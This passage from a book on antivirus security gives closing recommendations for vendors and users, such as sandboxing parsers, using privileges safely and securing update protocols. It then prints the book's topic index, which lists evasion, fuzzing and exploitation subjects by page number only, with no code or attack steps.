of your code, it is highly advisable to use sandboxing techniques around
code that tends to deal with untrusted input such as network packets,
email attachments, and files.
Use privileges safely—Remember to set and use ACLs on system objects
and files properly. Also avoid using high privileges when not needed.
Chapter 10 discussed many cases where not setting or incorrectly setting
privileges can lead to privilege-escalation kinds of bugs.
Reduce dangerous code in parsers—This boils down to using proper
software design, writing secure code, and doing regular code audits. Additionally, while designing your software, choose to delegate the execution of
Chapter 17 ■ Recommendations and the Possible Future
potentially dangerous code that deals with parsing file formats to sandboxed processes or ones with low privileges. Similarly, if you can, offload
complicated file format parsing tasks from kernel-mode drivers or system
services to sandboxed user-mode processes. Use interpreted languages
or managed code if you can too.
Improve the safety of update services and protocols—In short, validating the contents of transported files alone is not enough. It is important
to use secure transport channels and proper cryptographic techniques
to ensure the validity and integrity of the updated files. This topic was
thoroughly covered in Chapter 5.
Remove or disable old code—AV software keeps growing with time.
New detection and disinfection routines are added frequently, and then
that code is most likely left unmaintained and potentially riddled with
unsafe code. Think of the disinfection routines written more than 10
years ago. Back then, secure coding principles were not as widespread
as today, and therefore attackers can use old and modified samples to try
to break the antivirus.
With the previous points in mind, you should remember that the responsibility does not lay 100 percent in the hands of the AV vendor. There are things that
you, as an individual or a company, should take into consideration and some
measures to employ to improve the security of your computers:
Blind trust is an error—As mentioned in Chapter 1, in the section titled
“Typical Misconceptions about Antivirus Software,” AV software is not a
bulletproof security solution and should not be taken for granted as being
synonymous for security. It has its weaknesses just as any software does.
Apart from security bugs, AV software cannot protect against mistakes
made by users, such as falling for social engineering tactics. Users (especially non-technical computer users) often consider antivirus products to
be the Holy Grail of security.
Antivirus products generally work by detecting what they know based
on the signatures, heuristics, and static and dynamic analysis techniques
they have support for—They cannot detect unknown or new threats
unless those threats are based on patterns (either behavioral or statically
extracted artifacts) that are already known to the antivirus company. Part
II of this book is solely dedicated to prove that point.
Malware research and new infection and evasion techniques advance
much more quickly than the defense and detection mechanisms that
antivirus researchers create—After all, as the saying goes: “It is easier to
destroy than to build.”
Part IV ■ Current Trends and Recommendations
To improve protection, consider isolating the machines that perform
network analysis with antivirus products—The last thing you want is to
have the attacker using the AV software as an entry point to penetrating
your network. A bug in the AV’s email gateway or firewall, for instance,
can be the ticket into your network, where the attacker may move laterally
in your network and start targeting computers with high-business-impact
(HBI) data.
In conclusion, the field of computer security is always growing, and the future
holds many good promises. It is outside the scope of this book to discuss the
new security technologies, but for now, you should tread carefully and choose
your security solutions wisely.
We hope you enjoyed and benefited from reading this book as much as we
enjoyed writing it.
%PDF-1.X magic string, 148
220 error response code, 32
360AntiHacker driver, disabling, 22–23
Abstract Syntax Tree (AST), 20
access control lists (ACLs)
danger of errors, 195
finding invalid, 274–279
incorrect, 187–194
ActiveX, 201
emulators, 304
for remote exploitation, 303–304
add-ons. See plug-ins
AddressOfEntryPoint, in portable
executable files, 125
Address Space Layout Randomization
(ASLR), 176, 190–191
exploiting at fixed addresses, 298–299,
administration panels, remote attack
surfaces and, 199–200
Albertini, Ange, 125
Allebrahim, Arish, 188
Alternate Data Streams (ADS) scanner, 63
AMD x86_64 CPU
finding weaknesses in emulator, 303
instruction set support, 142–143
American Fuzzy Lop (AFL), 253
Android DEX files, 8
anti-analysis, code analyzer disruption,
anti-assembling techniques, 142–144
anti-attaching techniques, for debugger,
anti-emulation techniques, 137–142
anti-exploiting features of operating
systems, 12–13
antivirus evasion techniques, 105–115
basics, 106–107
writing tool for automatic, 160–162
antivirus kernels
disabling, 154–156
porting to Unix, 243–244
support for emulators, 10
antivirus killers, 207
antivirus scanners, 5–6
antivirus software
analysis with command-line tools, 27–28
auditing, 338
automatic fuzzing of, 239–248
auto-updating feature for, 87
basics, 3–4
bugs in, 333
consumer target audience for, 323
core. See kernel
determining what is supported, 304–306
diversity, 324–325
exploiting, 339–340
features, 7–13
history, 4–5
limitations, 332
linker in, 58–59
malware use of, 332–335
misconceptions about, 6–7
number of potential bugs in, 65
Index ■ B–B
privileges for, 341
recommendations for users, 331–338
recommendations for vendors, 338–344
and SSL/TLS, 100–101
trends, 323–329
vulnerabilities in, 343–344
antivirus vendors, improving update
services safety, 342–343
API emulations, implementing, 137–140
API hooks
bugs, 188
undoing, 175
AppInit_Dll registry key, 174
applications, memory management
functions, 224
archive files, exploiting, 302–303
archives, for AV kernel, 9
ARM emulator, finding weaknesses in,
ARP (Address Resolution Protocol)
spoofing, 307, 312
Ettercap tool for, 313
ARP poisoning, 307
ASLR. See Address Space Layout
Randomization (ASLR)
Assar, Walied, 147
AST (Abstract Syntax Tree), 20
attack surface of software, 183–194
local, 185–187
remote, 197–203
attack vector, emulator as, 301
importance for antivirus vendors, 340
security products, 338
authentication checks, for AVG Admin
Console, 199–200
authentication of updates, 308
automatic antivirus evasion, writing tool
for, 160–162
auto-updating feature, for antivirus
software, 87
av_close function, disassembly of call,
Avast Core Security for Linux, installing,
Avast for Linux, 16, 32
minimal class to communicate with,
security vulnerabilities, 100–101
writing Python bindings for, 29–37
.avc extension, 58–59, 119
AvcUnpacker.EXE, 119
installing, 151–152
vulnerabilities in, 199
Avira, 27
adware applications, 202
encryption of strings in plug-in DLLs, 58
kernel, 20
scancl tool, 21
backdoors, 196
and configuration settings, 21–28
in local exploitation, 270–274
Bahrain government, 5
banking details, monitoring home
computers for, 325, 33–34
Bayesian networks, and variables, 66–67
BCCF (Blind Code Coverage Fuzzer),
using, 254–259
bcdedit tool, for kernel debugging, 24 tool, 257
Beanstalkd, for Nightmare, 259
Berkeley Software Distribution (BSD), 143
beta signatures, 97
big companies, targeting, 326–328
binary audit, 338
manual, 219–233
third-party, 340
binary diffing products, porting symbols
from, 18
binary instrumentation, 113–114
BinDiff (Zynamics), 59–60
/bin/ls executable, 82
Bitdefender Antivirus for Linux, 17, 55–56,
fuzzer for, 237
fuzzer output when used with, 242–243
maximizing code covered by, 257–258
Bitdefender Security Service, 191–192
blackbox audit, 338
Blind Code Coverage Fuzzer (BCCF),
using, 254–259
blind trust, 332–336
bloom filters, 67–68
blue screen of death (BSOD), 213
Böck, Hanno, 100
BOPS (Sophos Buffer Overflow Protection
System), 13
breakpoints, change in, 62
broker, for sandbox processes, 298
automatic scanning of files retrieved by,
plug-ins, 201
vulnerabilities in, 335
Index ■ C–C
BSOD (blue screen of death), 213
in antivirus software, 333
API hooking, 188
in disinfection routines, 64
exotic, 188
in file format parsers, 212
fuzzing to find, 235
patched, 325
business logic, 196
bytecode format, 8
byte-stream, signatures as, 78
GetBaseComponent, 41
CAEHeurScanner class (C++), 167
callbacks, setting, 42
call graph, 83
Capstone Python bindings, for Nightmare,
cast-to-function pointer, 282
catalog files
for antivirus update, 88
Dr.Web request for LZMA-compressed,
CBasicFuzzer class, 238
C/C++ languages
for antivirus kernels, 70–72
vs. managed languages, 342
certificate, need to verify, 90
CFrameWork_CreateEngine, 41
CFrameWork_LoadScanners, 41
Charlie Miller multiple engine, 261
check_user function, 232
checksums (CRCs), 52, 78–79
for update file, 311–312
child processes, broker and, 298
ClamAV, 6, 65, 73
installing, 150
PE parser module, 136
signatures in, 80
starting daemon, 150
test files from, 250–251
clamscan tool, 6, 108, 112
ClientLibraryName parameter, 200
client-side exploitation, 297–317
sandboxing weaknesses, 297–298
vs. server-side, 317–318
cloning GIT Repository, 254
cmdscan (Comodo), 153
main function disassembly, 37–39
CmRegisterCallback function, 179
removing old, 343–344
security implications of duplication, 64
code analyzer, disrupting through antianalysis, 144–146
code coverage, maximizing, 252–259
code injection technique, 174–175
COFF. See Common Object File Format
command injections, filtering based on
shell escape characters, 231–232
command-line tools
for AV software analysis, 27–28
creating for exporting internal
information, 45–46
for fuzzer automation, 240–243
reverse engineering tools, vs. GUI, 16
scanners, 4
Common Object File Format (COFF),
62, 121
for Kaspersky updates, 58
Common Vulnerabilities and Exposures
(CVEs), 65
Comodo Antivirus
ActiveX control, 202
C/C++ to interface, 45–55
check for updates, 97
compiling command-line scanner, 51
creating instance, 40–41
GUI, 93
heuristic engine of, 166–173
installing, 153 library, 134–135
library disassembly, 20
support for JavaScript and VBScript,
update protocol used by, 92–100
writing C/C++ tools for, 37–55
Comodo database, C/C++ interface final
version, 55
targeting big, 326–328
targeting small to medium-sized, 326
complex payloads, 300–307
using JavaScript, VBScript, or
ActionScript, 303–304
compressed files for plug-ins, 61
compression bombs, 208–212
remote, 214
compressors, for AV kernel, 9
computers, isolating to improve
protection, 337
configuration settings, and backdoors,
Index ■ D–D
intercepting, 307
to socket from Python prompt, 32–36
to TCP listening services inside VM, 149
consoles, remote attack surfaces and,
container file, for plug-ins, 59, 60
copying compiled file to different
directory, 51
core of antivirus software
porting, 28–29
. See also kernel
Corkami project, wiki page, 125
Corkami wiki, 148
corpus distillation, 248
CPU emulator, 10
CPU instructions, emulating, 140–142
CR0 register, 141–142
crashes, in Unix, information about, 240
CRCs. See checksums (CRCs)
CRCs (checksums), 52, 78–79
for update file, 311–312
CreateFilaA function, hooking, 175
CreateFilaW function, hooking, 175
CreateInstance function, 40
CreateProcessInternal function, 174
CreateRemoteThread API call, 277
cryptographic hashes, 80
custom checksums (CRCs), 79
CVEs (Common Vulnerabilities and
Exposures), 65
cyber-attacks, 323
matching attack technique with target,
Cyclic Redundancy Check (CRC)
algorithm, 78–79, 105
Dabah, Gil, 143
C/C++ interface final version, 55
for F-Secure, 221
of MD5 hashes, filter for, 67–68
signatures for virus database files, 343
Data Execution Prevention (DEP), 190–191
exploiting at fixed addresses, 298–300,
dd command, 209
DEB packages, installing in Debian-based
Linux, 228
anti-attaching techniques for, 147
kernel, 23–25
tricks for, 20–28
user-mode processes with kernel-mode
debugger, 25–27
VirtualBox setup for, 24–25
debugging symbols, 17–20
importing debugging symbols from
Linux to, 19
decoder plug-ins, complexity, 65
decompression, 64
DeepToad, 81, 83
DefCon conference, “Race to Zero”
contest, 106
denial of service attacks, 207–216
local, 208–213
remote, 214–215
DEP. See Data Execution Prevention (DEP)
Detours hooking engine, 174
device_handler function, 280–281
DeviceIoControl function (Windows API),
device names, taking advantage of old
features, 140
DGBMS2 function, 122–123
Diaphora (Open Source IDA plug-in),
20, 59
directory privileges, finding weaknesses
in, 185–186
disinfection routines, bugs in, 64
distorm disassembler, 143
dlclose_framework function, 49
DLLs. See Dynamic Link Libraries (DLLs)
DNS record, attacker change of, 89
DNS spoofing, 312
Ettercap tool for, 313
downloaded update files, verification
process, 88
DR0 Intel x86 register, eforts to change, 141
DrCov, 254, 255
drweb32.flg file, 309
Dr.Web antivirus products, 91, 129
launching attack against update services,
Python exploit, 314–316
request for LZMA-compressed catalog,
update system exploitation, 308
drweb-escan.real binary, 189
dual extensions, 173
dynamic analysis, 235–267
fuzzing, 235–265
of reverse engineering, 20
dynamic evasion techniques, 105
dynamic heuristic engine, 66, 165, 173–180
Dynamic Link Libraries (DLLs)
injecting, 276
plug-ins as, 58
dynamic loading, for antivirus plug-ins,
Index ■ E–F
DynamoRIO (binary instrumentation
toolkit), 113, 254, 255
for Nightmare, 260
EasyHook hooking engine, 174
egas tool, 253
EICAR (European Institute for Computer
Anti-Virus Research), 78 testing file, 151
Electronic Code Book (ECB) mode, 200
ELF (Executable and Linkable Format), 301
email client, compression bombs and, 214
email credentials, theft of, 4
EMET. See Microsoft Enhanced Mitigation
Experience Toolkit (EMET)
Emu_ConnectNamedPipe function, 135
emulators, 10–11, 73–74, 301–302
limitations, 302
encrypted files for plug-ins, 61
encryption keys, static, 200
engineering, vs. security, 339
err local variable, code checks on, 44
eScan Antivirus for Linux, 228
installing DEB packages, 228
eScan Malware Admin software, 189
escape function, 127
Ettercap tool, 312, 313
European Institute for Computer AntiVirus Research (EICAR), antivirus
testing file, 78
eval function, emulator triggered by,
EVP_VerifyFinal function, 308
Executable and Linkable Format (ELF),
graph-based hashes for, 83–85
malware as packed, 10
signing, 92
exotic bugs, 188
expert system, 166
expired certificates, 91
exploitation. See local exploitation; remote
exploitation website, 213
Exploit.HTML.IFrame-6 malware, 108, 117
Exploit.MSWord.CVE-2010- 3333.cp file,
extensions lists, checking, 172–173
false positive, 9, 66
check of known, 169
for CRC32hash, 79
for fuzzy hashing signature, 81
“Fast Library Identification and
Recognition Technology” (IDA), 220
Ferguson, Paul, 106–107
file format parsers, 198
for binary audit, 220–228
bugs in, 212, 215
file formats, 64–65
antivirus software support of, 118
confusion from, 148
evasion tips for specific, 124–131
miscellaneous, and AV kernel, 11
taking advantages for evasion, 136–137
file infector, 336
file length, of portable executable files, 126
file privileges, finding weaknesses in,
disinfection routines, 199
splitting for determining malware
detection, 107–112
file size limits, and scanner evasion,
FinFisher, 5
fingerprints, 215
emulators for evading scanners, 134–136
firewalls, 4, 11–12, 200–201
Flame malware, 92
FLIRT (“Fast Library Identification and
Recognition Technology”), 220
flow graph, 83
FlyStudio malware
disassembly from, 145
flow graph, 146
FMAlloc function
analysis, 225
determining unsanitized input, 227
fm library (fm4av.dll), 17, 18
F-Prot for Linux, installing, 152–153
frame-based functions, prologue of, 175
FreeLibrary function, 177
F-Secure Anti-Virus, 6, 17, 19, 26, 202,
InnoSetup installer files analyzer code,
forward declarations of, 50–51
human-readable names for, 196
fuzzer (fuzz-testing tool), 28
based on protocol format, 36
finding template files, 250–252
output, 242–243
problems, 247–248
template files for, 248–249
fuzzers/bcf.cfg file, 255
fuzzing, 235–265
Index ■ G–I
automatic of antivirus products, 239–248
basics, 236
command-line tools for, 238–243
by developers, 340–341
Ikarus command-line scanner, 246–247
results, 264
simple, 237–239
statistics, 264–265
with Wine, 244–247
fuzz method, 238
fuzzy hashing signatures, 81–83
fuzzy logic-based signatures, 9
g_Func_0056 function, 273
GCC, 20
GCluster, 84–85
GDB, 15
generic routines, as plug-ins, 64
getopt function, 38
GIT Repository, cloning, 254
Global Object Table (GOT), 224–225
Google Chrome, 90
government networks
spying on, 5
targeting, 326–328
governments, targets of, 327–328
graphical user interface (GUI) scanners, 4
grep tool, for searching for patterns, 304
Guest Additions, 149
Guest Virtual Machines (GVMs), 61, 71
GUI tools, vs. command-line for reverse
engineering, 16
Hacking Team, 5
cryptographic, 80
graph-based, for executables, 83–85
header file, for common C/C++ project,
heap buffer overflow bug, 299
heuristic engine evasion, 165–181
heuristics, 4
plug-in types, 65–68
Heuristics.Encrypted.Zip heuristic engine,
hexadecimal editor, fixed-size UTF-32
strings in, 171
Hex-Rays decompiler, 123, 282
hFramework instance, 41
hidden features
in kernel-land, searching for, 279–285
in local exploitation, 270–274
HIPS. See Host Intrusion Prevention
Systems (HIPS)
home users, targeting, Gika
for dynamic heuristic engine, 173
kernel-land, 178–179
undoing, 175
userland, 173–175
Host Intrusion Prevention Systems (HIPS),
165–166, 173
bypassing userland, 176–178
HPKP (HTTP Public Key Pinning), 100
HTTP (Hypertext Transfer Protocol)
for downloading signatures, 88
for downloading updates, 89–90
HTTP Public Key Pinning (HPKP), 100
HTTPS (Hypertext Transfer Protocol
check for malware inside, 100
for downloading signatures, 88
for downloading updates, 89–90
human-readable names, for functions, 196
i386.DEB package file, 151
icacls command-line tool, 185
“Fast Library Identification and
Recognition Technology,” 220
Functions window, 224
and program jumps, 144–146
IDA database, scanner name enumerated
to, 54–55
IDA dissassembler, 15, 196
file analysis with, 30–32
<iframe> tag, 108
Ikarus command-line scanner, 27
fuzzing, 246–247
Ikarus t3 Scan tool, 21, 28–29
importing debugging symbols from Linux
to Windows, 19
industrial espionage, 326
InnoDecoder::IsInnoNew function,
Avast Core Security for Linux, 150–151
ClamAV, 150
Comodo Antivirus for Linux, 153
DEB packages in Debian-based Linux,
F-Prot for Linux, 152–153
Zoner Antivirus, 154
instrumentation tools, in fuzzer, 236
Intel PIN, 113
Intel x86 CPU, instruction set support,
Intel x86 emulator, 10, 73
in antivirus software, 301
Index ■ J–L
finding weaknesses in, 303
NOP (no operation) instruction, 143
internal audits, 340
Intrusion Protection Systems (IPS),
IOCTLs (I/O Control Codes)
input arguments for code, 281–283
in kernel drivers, 213
and Panda Global Protection, 270
IPS (Intrusion Protection Systems),
IRQLs list, 180
ISFPs function, 169–170
Java, 8
vs. C/C++ code, 342
advantages, 304
Comodo support for, 306
evasion tips for, 126–128
executing on the fly, 128
for PDF exploit, 129
for remote exploitation, 303–304
string encoding in, 127
jump, opaque predicates with, 146
junk code, 144
to hide logic, 128
Kaspersky Anti-Virus, 16, 58, 212
advantages and disadvantages for
antivirus kernels, 61
attack against, 328
AxKLSysInfodll ActiveX component, 202
disabling, 211
generic detection signature used by,
plug-in loading by, 56
reports on The Mask, 327
Kaspersky Internet Security 6.0,
vulnerabilities in, 279
kernel, 6, 15
components loaded by, 55–56
debugging, 23–25
logical vulnerabilities, 285–294
removing callbacks, 179
vulnerabilities in antivirus products,
kernel32!ConnectNamedPipe function,
kernel Bug Check, 213
kernel drivers
disabling, 22
DoS attacks against, 213
exploit for vulnerability, 283–285
hooks, 178–179
malware in, 333
memory-based scanners, 69
searching for hidden features, 279–285
kernel-mode debugger, debugging usermode processes with, 25–27
Kingsoft (browser), 202–203
Kingsoft antivirus kernel driver, 188
Kingsoft Internet Security (KIS), 191
KisKrnl.sys driver, 188
KLICK.SYS driver, 279
KLIN.SYS driver, 279
Koret, Joxean, 81, 91, 253
Kornblum, Jesse, 81
Kylix, 28
LAN (Local Area Network), remote attack
surfaces on, 184
LdrUnloadD11 function, removing hook,
libclamscan/pe.c file, 136 library, 6
lib directory, 221–222 binary, 189, 17 library, for F-Secure, 222, 19 library, closing, 45 library, 166–167 library (Comodo), 134–135
library, loading with pseudo handle,
138–139 library, 305, 306 component, tracing
download of, 99
license.avastlic file, 151
“Liebao” browser, 203
linker, in antivirus software, 58–59
Linux, virtual machine for fuzzer, 243
Linux version, of antivirus kernels, 18
lm command, 26–27
load_framework function, 49–50
for Comodo kernel, 39–40
loaded modules analysis, vs. memory
analysis, 70
loading plug-ins, 58–62
local attack surface, 183–184, 185–187
local denial of service attacks, 208–213
local exploitation, 269–296
backdoors and hidden features, 270–274
Index ■ M–N
kernel-land search for hidden features,
privileges, permissions, and ACLs,
Local Types window, Export to Headeer
File option, 45
logging in, client-side checks for, 199–200
logic, junk code to hide, 128
logical flaws, 196
logical vulnerabilities, 270
login.php PHP script, 230–231
ls -lga command, 185–186
for antivirus software, 71
vs. C/C++ code, 342
MachO file, 301
madCodeHook hooking engine, 174
main.cpp file, 291–294
main function
calls to initialize, scan and clean up core
in, 46
code for cleaning up, 45
in portable executable files, 125
malloc function (LIBC), 225–227
malware, 3, 333
detection, 107–114
evasion techniques, 105–115
evolution of, 4
heuristic engine non-detection, 67
not dependent on zero-day processes,
QA in development, 334
MalwareBytes anti-exploiting toolkit, 12
exposing functionality by, 290
IOCTL handling, 288–291
zero-day kernel vulnerabilities in, 285
“MalwareBytes’ Swiss Army Knife,” 286
managed languages, vs. C/C++ code, 342
man-in-middle (MITM) attack, 89, 312
manual binary audit, 219–233
file format parsers, 220–228
The Mask (Careto), 5, 327
MaxAvailVersion value, 95
function, 48–49
reverse-engineering, 40
MB_HalRebootRoutine, 290
MB_HandleIoctlOverwriteFile, 290
MB_HandleIoctlReadFile, 290
mbamswissarmy.sys driver, 286
MD5 hashes, 8–9, 89
filter for database of, 67–68
memory analysis, vs. loaded modules
analysis, 70
memory corruption, local exploits and, 269
memory pages
preventing execution, 190
skipping, 147–148
memory scanners, 63, 69–70
Metasploit, 325
meterpreter stage, 336
Meterpreter, creating payload, 312–313
Micosoft Office binary file formats, 118
Microsoft Enhanced Mitigation
Experience Toolkit (EMET), 12
certificate pinning with, 90
Microsoft Notepad, 147
Microsoft SAGE, 252
Microsoft Security Essentials, 28–29, 55
Microsoft Windows Update service,
mini-filter, 179
MITM attack in LAN, 100
mpengine.dll library, 28–29, 55
MS-DOS, taking advantage of old
features, 140
MultiAV, 160–162
antivirus results, 157
client configuration, 154–158
home page, 157 script, 160–161
multi-virus product creation, initial steps,
mutate method, 238
mutation engines, assigning to fuzzing
project, 261
mutators, in fuzzer, 236
MyNav (IDA plug-in), 60
MySQL server, for Nightmare, 259
names, human-readable, for functions, 196
National Security Agency (NSA), 5
native languages, AV engine use of, 7–8
.NET code, 8, 71
vs. C/C++ code, 342
network analysis tools
drivers for, 12
remote attack surface of, 337
network packet filter driver, 198
Index ■ O–P
network services, remote attack surfaces
and, 199–200
new malware, 333 script, 264
Nightmare fuzzing suite, 253, 259–265
configuring, 260–261
configuring and running, 262–265
finding samples, 262
installing, 254–255
starting new fuzzing project, 261
non-native code, for plug-ins, 70–72
Norman Sandbox, 137, 140–142
notivation callback, 42
NtCreateFile function, 302
NtCreateThread native API, 278
NT kernel, emulator failure to load, 138
ntkrnlpa.exe, loading, 139
NULL value, passing as parameter, 137
obfuscation, 303
object confusion in PDF file, 129–130
object files, 62
OLE2 containers, fuzzing, 248
opaque predicates, 128, 144
with jump, 146
open_dev_avflt function, 39
OpenMutexW function, 135
Open Source IDA plug-in, 20
OpenSSL, bug CVE-2008-5077, 308
operating systems, anti-exploiting
features, 12–13
original entry point (OEP), 199
Ormandy, Tavis, 13
os.system function (Python), 245
packaging, for plug-ins, 60–62
packet filters, 11–12
Palestine Liberation Army (PLA), 5
Panda Global Protection, 185, 186–187, 194,
ability to kill processes, 272
disabling antivirus shield, 274
I/O Control Codes (IOCTLs), 270
pavshld.dll library, 21
command-line arguments, 38
complexity, 65
file format, bugs, 215
reducing dangerous code in, 342
patched bugs, 325
PAVSHLD_001 function, 273
pavshld.dll library, 196, 270–274
complex, 300–307
launching final, 306–307
Meterpreter, 312–313
modified versions of, 158
%PDF-1.X magic string, 148
PDF file format
evasion tips for, 129–131
vulnerabilities in, 64–65
PE (portable executable) files, 117, 301
to bypass signatures, 136
changing to bypass antivirus detections,
evasion tips for, 124–131
PeachMinset, 248–249 script, 149, 158–160
automatic antivirus evasion tool using,
penetration testing, 106
performance, SSL or TLS and, 90
Perl, vs. C/C++ code, 342
finding invalid, 274–279
vulnerabilities in, 269
Permissions dialog box, 275
pfunc50 function, 43
PHP source code, static analysis of,
Picasa, 28
Pistelli, Daniel, 179
plain-text communications, and writing
exploits, 308
plug-ins, 57–75
browser, 201
dynamic loading, 59–60
kernel loading of, 55
loading process, 58–62
non-native code for, 70–72
packaging approaches, 60–62
plug-in types, 62–68
emulators, 73–74
file format and protocol support, 64–65
heuristics, 65–68
memory scanners, 69–70
scanners and generic routines, 63–64
scripting languages, 72–73
polyglot file formats, 148
Portable Document Format (PDF)
evasion tips for, 129–131
vulnerabilities in, 64–65
portable executable (PE) files, 117, 301
to bypass signatures, 136
Index ■ Q–S
changing to bypass antivirus detections,
evasion tips for, 124–131
antivirus kernels to Unix, 243–244
kernel core, 28–29
escalation of, 186–187
finding invalid, 274–279
finding weaknesses in files and
directories, 185–186
incorrect, on Windows objects, 193–194
using safely, 341
Process Explorer, 190, 194
ProcProt!Func_0056, call graph, 273
protocols, plug-ins to understand, 64–65
PROTOS Genome Test Suite c10-archive,
for test files, 251–252
callback, 175
function, 178
function, 178
PsSetLoadImageNotifyRoutine function,
PyClamd, 6
Pyew hexadecimal editor, 84–85, 119
vs. C/C++ code, 342
connecting to socket from prompt,
for Nightmare, 259
scripts for fuzzing, 237–239
Python bindings
final version, 37
writing for Avast for Linux, 29–37
Python macholib, for Nightmare, 260
Qihoo 360, 22
QuickHeal AntiVirus - Stack
Overflow Vulnerability, 188
Radamsa, 255–256
multiple engine, 261
for Nightmare, 259
ransom, for infected computer contents,
RAR VM (virtual machine), 305
readelf -Ws command, 222–223
Read/Write/eXecute (RWX) memory
pages, 59
antivirus focus on, 148
exploiting at fixed addresses, 298–300,
for plug-ins, 58
realpath function, 35
real-time scanner, 8
rebasing code, in debugging segments, 62
regedit.exe (registry editor tool), 22
registry, hooking activity, 179
RegistryCallback function, 179
remote attack surfaces, 184, 197–203
browser plug-ins, 201
generic detection and file disinfection
code, 199
of network analysis tools, 337
network services, administration panels,
and consoles, 199–200
security enhanced software, 202–203
update services, 201
remote code execution, 200
remote denial of service attacks, 214–215
RemoteDLL tool, 276–278
remote exploitation, 297–319
ASLR, DEP, and RWX pages at fixed
addresses, 298–300
complex payloads, 300–307
sandbox weaknesses, 297–298
server-side, 317–318
of update services, 307–317
remote services, static analysis, 228–233
residents, 8
responsible disclosure, 294
reverse-engineering tools, 15–20
backdoors and configuration settings,
command-line vs. GUI, 16
debugging symbols, 17–20
importing from Linux to Windows, 19
Rising (browser), 202–203
ritain, Government Communications
Headquarters (GCHQ), 5
RPM files, finding vulnerabililty parsing,
RTF files, 124
Ruby, vs. C/C++ code, 342
runasroot program (eScan DEB), 229
running processes, monitoring execution
of, 173–175
RWX pages. See Read/Write/eXecute
(RWX) memory pages
RX memory pages, antivirus focus on, 148
sabotage, 5
Sality virus, 143, 336
sample, for emulator trigger, 302
sandbox, 176
Index ■ S–S
exploiting weaknesses, 297–298
malware gaining privileges outside, 335
processes in, 342
sandbox escape, 184
Santamarta, Ruben, 279
Saudi Aramco, 5
Scan__result object instance, 172
scan_path function, 34–35
scan_stream function, 43, 46
code for, 47–48
scan code, code to send to daemon, 35–36
ScanCorruptPE function, 169
scan directories, function for, 42–43
ScanDualExtension method, 169
scanned pages, reducing number of, 148
scanner evasion, 133–163
automating, 148–162
scanners, 4, 5–6, 8
loading routines, 41
as plug-ins, 63–64
resolving identifiers to scanner names,
scanning for hosts, with Ettercap, 313
SCANOPTION object, 44
SCANRESULT object, 44, 51–52
ScanSingleTarget method, 167–168
ScanUnknownPacker method, 168
scripting languages, 72–73
vs. C/C++ code, 342
section names, in portable executable files,
section object, 195
Secure Sockets Layer (SSL), 342–343
antivirus software and, 100–101
support for, 89–91
auditing products, 338
vs. engineering, 339
from isolating computer, 337
mitigation, 12
risk from no process owner, 275–276
security bugs
in generic routines, 64
reverse-engineering to find, 63
security cookie, calculating, 286
security enhanced software, 202–203
security industry, strategies and
recommendations, 331
by AV software, 12
disabling, 22–23
disabling mechanisms, 21
self-signed certificates, 90
server-side exploitation, 317–318
SetErrorMode API, 137
SetSecurityDescriptorDAL function, 195
-s flag, in cmdscan disassembly, 38
SGID, 185
exploiting binaries on Unix-based
platforms, 189–190
SHA1 hash, 98, 129
shell escape characters, filtering command
injections based on, 231–232
shell scripts, signing, 92
signature-based detection, evading with
divide and conquer trick, 108–112
signature evasion, 117–132
file formats, 118
Kaspersky Anti-Virus and, 118–124
signature identifier, obtaining, 52
signatures, 8–9, 77–86
as byte-stream, 78
checksums (CRCs), 78–79
downloading for Comodo, 153
fuzzy hashing, 81–83
for updates, 308
for virus database files, 343
signatures update, for antivirus software,
signing algorithms, for verifying antivirus
products, 91–92
signing scheme, for antivirus plug-ins, 61
SIGSEGV segmentation fault, 245
sigtool, 112
Simple replacer multiple engine, 261
SMT solvers, 252
social engineering, 332, 333
connecting to, from Python prompt,
pointer to path, 31
software update, for antivirus software, 92
Sophos Buffer Overflow Protection System
(BOPS), 13
source code review audits, 340
SpamSum, 81
SrvLoad.EXE process, NULL ACL value
assigned to, 187
ssdeep, 81, 82
SSL. See Secure Sockets Layer (SSL)
stack overflow, 188
and code execution, 190
Stamm- File Virri/Stamms.txt file, 120–121
static analysis, 219–233
remote services, 228–233
static encryption keys, 200
static evasion techniques, 105
static heuristic engine, 66, 165, 166
bypassing, 166–173
streamed data, compressed and encoded,
string encoding, in JavaScript, 127
Index ■ T–V
Stuxnet computer worm, 5
sub_1172A function, 281–282
SUID, 185
exploiting binaries on Unix-based
platforms, 189–190
Symantec, 211
Guest Virtual Machines (GVMs), 61
symbolic execution, 252
symbolic links, in F-Secure directory,
SysInternal Process Explorer, 275, 278
system services in Windows, disabling, 22
t3scan.exe program, 244
T3Scan Windows command-line scanner,
running test for, 245
t3sigs.vdb (Virtual Database) file, 244
taint analysis, 113–114
TAR file, analysis, 302–303
targeted malware, 334
tarkus, 186–187
Task Manager, Panda process in, 271
template files for fuzzer, 248–249
finding, 250–252
Themida, 72
third-party binary audits, 340
Thompson, Roger, 106
Thread Local Storage (TLS) callback, 147
thunk function, 224–225
TimeDateStamp, in portable executable
files, 125
traffic capture log, from Wireshark, 94
Transport Layer Security (TLS), 342–343
antivirus software and, 100–101
support for, 89–91
trends in antivirus protection, 323–329
Tridgell, Andrew, 81
true negatives, 9
ulimit -c unlimited command, 240
undoing hooks, 175
unescape function, 127
unhook function, 177
universally unique identifier (UUID), 270
Universal Unpacker (UPX), 10
for fuzz automation, 28
porting antivirus kernels to, 243–244
timestamp, 309
virtual machine for fuzzer, 243
unpackers, 10
for .avc files, 119–120
plug-ins as, 64
update files
CRC for, 311–312
verifying, 91–92
update protocols
of antivirus company, 88–92
dissecting, 92–100
vulnerabilities in, 99
update services, 87–101
improving safety, 342–343
as remote attack entry point, 201
UPX (Universal Unpacker), 10
User Account Control (UAC) prompt, 333
userland, 12
bypassing HIPS, 176–178
malware in, 333
memory-based scanners, 69
userland hooks, 173–175
bypassing, 175
user-mode processes, debugging with
kernel-mode debugger, 25–27
UUID (universally unique identifier), 270
variables, and Bayesian networks, 66–67
Comodo support for, 306
emulators, 304
for remote exploitation, 303–304
Veil Framework, 148, 312
verification, of downloaded update files,
version information, resources directory
for storing, 170
VirtualBox, 24
debugging setup in, 24–25
Virtual Function Table (VTable), 299
virtualization software, 16
virtual machines, 71–72
connecting to TCP listening services
inside, 149
creating, 24
emulators for, 10
for Windows, fuzzers in, 243
viruses, function to increase count, 44
VirusTotal, 114, 129, 148–149
report, 124
report on compression bomb attack, 210
sample file format from, 250
Index ■ W–Z
Virut virus, 336
VMProtect, 72
VTable (Virtual Function Table), 299
in antivirus software, 338
initial steps to discover, 224
in permissions, 269
vxers, 4
watch icon, in VirusTotal, 210
wc tool, 210 python script, 156–157
WebProxy.EXE process
NULL ACL value assigned to, 187
security properties, 275
weights-based heuristics, 68
